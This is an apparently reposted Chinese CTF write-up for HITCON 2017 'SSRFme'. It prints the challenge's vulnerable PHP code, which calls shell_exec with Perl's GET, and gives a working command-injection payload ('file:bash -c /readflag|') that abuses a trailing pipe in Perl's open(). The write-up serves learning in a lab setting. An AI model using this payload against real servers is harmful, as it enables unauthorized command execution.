[HITCON 2017]SSRFme pathinfo()返回一个数组&Linux命令Perl漏洞(后面加一个|可以命令执行)
2022/7/21 5:24:55
本文主要是介绍[HITCON 2017]SSRFme pathinfo()返回一个数组&Linux命令Perl漏洞(后面加一个|可以命令执行),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
进去一个代码审计:
x.x.x.x <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $_SERVER['REMOTE_ADDR'] = $http_x_headers[0]; } echo $_SERVER["REMOTE_ADDR"]; $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); @mkdir($sandbox); @chdir($sandbox); $data = shell_exec("GET " . escapeshellarg($_GET["url"])); $info = pathinfo($_GET["filename"]); $dir = str_replace(".", "", basename($info["dirname"])); @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename"]), $data); highlight_file(__FILE__);
还是老样子,先根据remote_addr创建一个目录:sandbox/md5()
看代码要上传两个参数,一个是url,一个是filename,先说filename,pathinfo($filename)返回一个数组给$info,数组里面有一项dirname,返回的是目录(不包括脚本名),然后再在原来创建的沙箱下再建一个目录,并进入这个目录,然后把$data写进$info["basename"]里。
再说说$data,$data是shell_exec()命令执行的返回,GET 这个格式好像是什么perl,也不太了解。
传参:
?url=file:bash -c /readflag|&filename=wuhu
perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠 |)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果。
并且将命令的执行结果作为这个文件的内容写入,根据代码逻辑,命令执行的结果除了写入该命令同名文件里,也会写到生成的沙箱的目录的文件中,地址栏访问就行了
这篇关于[HITCON 2017]SSRFme pathinfo()返回一个数组&Linux命令Perl漏洞(后面加一个|可以命令执行)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-03-30[译]漫画SELinux概念
- 2024-03-29linux 移动文件
- 2024-03-28linux .so file
- 2024-03-28Linux 磁盘管理
- 2024-03-28Linux学习笔记(十三)磁盘管理(一):磁盘分区
- 2024-03-26linux 创建 文件
- 2024-03-25使用SecureCRT对Linux vim进行颜色设置
- 2024-03-202019-2020-12 20199317 《Linux内核原理与分析》 第十二周作业
- 2024-03-20Linux运维的第二周总结
- 2024-03-13how to count number of directories in linux